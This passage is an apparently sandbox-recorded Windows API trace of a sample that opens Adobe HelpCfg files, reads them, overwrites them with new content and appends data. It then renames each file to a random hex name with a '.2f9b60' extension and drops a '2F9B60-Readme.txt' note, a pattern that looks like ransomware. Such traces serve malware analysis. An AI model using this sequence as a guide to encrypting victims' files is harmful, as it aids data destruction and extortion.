RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x32fb7994 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x6cb9ab89 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x133a99e0 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x5339b1d4 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x508b8ae4 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x23f90f4d [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x4e9627f5 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x2f6fc434 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x69230259 [0155.090] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x29ab0874 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x2248acd [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x3dc6d792 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x334164a7 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x25e12e01 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x5d2febf7 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x17d220c6 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x35ff1284 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x639e4c27 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x4e5e973 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x70eac650 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x399277a1 [0155.091] RtlRandomEx (in: Seed=0x3015f770 | out: Seed=0x3015f770) returned 0x4c9f27e3 [0155.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa60 [0155.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d040 [0155.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa90 [0155.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0155.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaa30) returned 1 [0155.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2420 [0155.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d040 [0155.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428d9e90 [0155.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428ddaa0 [0155.103] ReadFile (in: hFile=0x9bc, lpBuffer=0x428d9e90, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x3015f770, lpOverlapped=0x0 | out: lpBuffer=0x428d9e90*, lpNumberOfBytesRead=0x3015f770*=0x15d, lpOverlapped=0x0) returned 1 [0155.103] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.103] WriteFile (hFile=0x9bc, lpBuffer=0x428ddaa0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x3015f774, lpOverlapped=0x0) [0192.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f70 [0192.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139fa0 [0192.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139fa0) returned 1 [0192.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428ddaa0) returned 1 [0192.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428d9e90) returned 1 [0192.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0192.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2420) returned 1 [0192.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d6b0 [0192.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2420 [0192.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d040 [0192.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139fa0 [0192.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139fa0) returned 1 [0192.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d6f0 [0192.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139fa0 [0192.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139fd0 [0192.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139fd0) returned 1 [0192.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0192.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2420) returned 1 [0192.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x166ce0 [0192.841] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.841] WriteFile (in: hFile=0x9bc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3015f890, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x3015f890*=0x118, lpOverlapped=0x0) returned 1 [0201.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a510 [0201.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a510) returned 1 [0201.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a510 [0201.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0201.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0201.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0201.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.438] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.438] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.438] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="19") returned 2 [0201.438] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="f0") returned 2 [0201.438] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.438] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="4b") returned 2 [0201.438] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.438] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="90") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="58") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="23") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="85") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="99") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="07") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="61") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="54") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.438] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="04") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="99") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="60") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.439] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.439] RtlInitAnsiString (in: DestinationString=0x3015f908, SourceString="6dce19f01e4b8a90f8a858a07c2385995dba0761541cffa05eb2e65dcb0499f85d60d74d7d7e" | out: DestinationString="6dce19f01e4b8a90f8a858a07c2385995dba0761541cffa05eb2e65dcb0499f85d60d74d7d7e") [0201.439] RtlAnsiStringToUnicodeString (in: DestinationString=0x3015f8d8, SourceString="6dce19f01e4b8a90f8a858a07c2385995dba0761541cffa05eb2e65dcb0499f85d60d74d7d7e", AllocateDestinationString=1 | out: DestinationString="6dce19f01e4b8a90f8a858a07c2385995dba0761541cffa05eb2e65dcb0499f85d60d74d7d7e") returned 0x0 [0201.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a6eb0 [0201.439] wcscat (in: _Dest=0x1b7a5230, _Source="6dce19f01e4b8a90f8a" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a" [0201.439] wcscat (in: _Dest=0x1b7a5230, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a.2f9b60" [0201.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a.2f9b60", NtPathName=0x3015f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\6dce19f01e4b8a90f8a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310acd0 [0205.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310acd0) returned 1 [0205.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43208760) returned 1 [0205.802] NtQueryInformationFile (in: FileHandle=0x9bc, IoStatusBlock=0x3015f918, FileInformation=0x3015f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3015f918, FileInformation=0x3015f928) returned 0x0 [0205.802] NtSetInformationFile (FileHandle=0x9bc, IoStatusBlock=0x3015f918, FileInformation=0x3015f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5230) returned 1 [0208.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6eb0) returned 1 [0208.615] FlushFileBuffers (hFile=0x9bc) returned 1 [0208.620] CloseHandle (hObject=0x9bc) returned 1 [0211.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187c60 [0211.518] wcscpy (in: _Dest=0x43187c60, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" [0211.518] wcscat (in: _Dest=0x43187c60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\2F9B60-Readme.txt" [0211.518] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\2f9b60-readme.txt")) returned 0xffffffff [0211.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f0 [0216.402] WriteFile (in: hFile=0x15f0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3015f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3015f7d0*=0xba9, lpOverlapped=0x0) returned 1 [0220.298] CloseHandle (hObject=0x15f0) returned 1 [0224.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187c60) returned 1 [0224.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505ff0) returned 1 Thread: id = 2531 os_tid = 0xba8 [0155.105] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\reader_10.0.helpcfg")) returned 0x20 [0155.106] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c0 [0155.108] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2f10f6c0 | out: lpFileSize=0x2f10f6c0*=349) returned 1 [0155.108] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.108] ReadFile (in: hFile=0x6c0, lpBuffer=0x2f10f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f10f688, lpOverlapped=0x0 | out: lpBuffer=0x2f10f640*, lpNumberOfBytesRead=0x2f10f688*=0x4, lpOverlapped=0x0) returned 1 [0155.110] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa30 [0155.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaac0 [0155.111] NtQuerySystemTime (in: CurrentTime=0x2f10f580 | out: CurrentTime=0x2f10f580*=132462177602506000) returned 0x0 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x15a6fbb4 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x11c8cdd9 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x73b39669 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x23488f76 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x60361aaf [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x393cc621 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x6fe9c02b [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x27d595ad [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x1b89d573 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x522532aa [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x360acffb [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x7693335 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x3fe1867f [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x38bc2745 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x4509e35e [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x11139a37 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x2d06b3b6 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0xf15fb59 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x771423f3 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x77274236 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x7fbef072 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x4f4be800 [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x48e8c16b [0155.111] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x1a53de2b [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x7addd088 [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0xf1dae33 [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x6445225f [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x4dafd181 [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x228983ca [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0xc431476 [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x3b94a0a1 [0155.112] RtlRandomEx (in: Seed=0x2f10f570 | out: Seed=0x2f10f570) returned 0x2fb1ba23 [0155.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaaf0 [0155.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d0c0 [0155.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab20 [0155.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d0c0) returned 1 [0155.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaac0) returned 1 [0155.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2470 [0155.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d0c0 [0155.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428e16b0 [0155.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428e52c0 [0155.125] ReadFile (in: hFile=0x6c0, lpBuffer=0x428e16b0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f10f570, lpOverlapped=0x0 | out: lpBuffer=0x428e16b0*, lpNumberOfBytesRead=0x2f10f570*=0x15d, lpOverlapped=0x0) returned 1 [0155.125] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.125] WriteFile (hFile=0x6c0, lpBuffer=0x428e52c0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f10f574, lpOverlapped=0x0) [0192.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f10 [0192.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f40 [0192.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139f40) returned 1 [0192.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428e52c0) returned 1 [0192.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428e16b0) returned 1 [0192.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d0c0) returned 1 [0192.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2470) returned 1 [0192.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d630 [0192.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2470 [0192.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d0c0 [0192.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f40 [0192.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139f40) returned 1 [0192.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d670 [0192.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f40 [0192.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f70 [0192.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139f70) returned 1 [0192.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d0c0) returned 1 [0192.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2470) returned 1 [0192.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167ee0 [0192.831] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x6c0, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f10f690, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x2f10f690*=0x118, lpOverlapped=0x0) returned 1 [0208.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0208.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0208.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0208.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0208.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fdd50 [0208.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0208.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0208.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0208.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0208.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0208.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9d3d0 [0208.126] sprintf (in: _Dest=0x1cd9d3d0, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3d2, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3d4, _Format="%c%c" | out: _Dest="40") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3d6, _Format="%c%c" | out: _Dest="75") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3d8, _Format="%c%c" | out: _Dest="8c") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3da, _Format="%c%c" | out: _Dest="91") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3dc, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3de, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3e0, _Format="%c%c" | out: _Dest="95") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3e2, 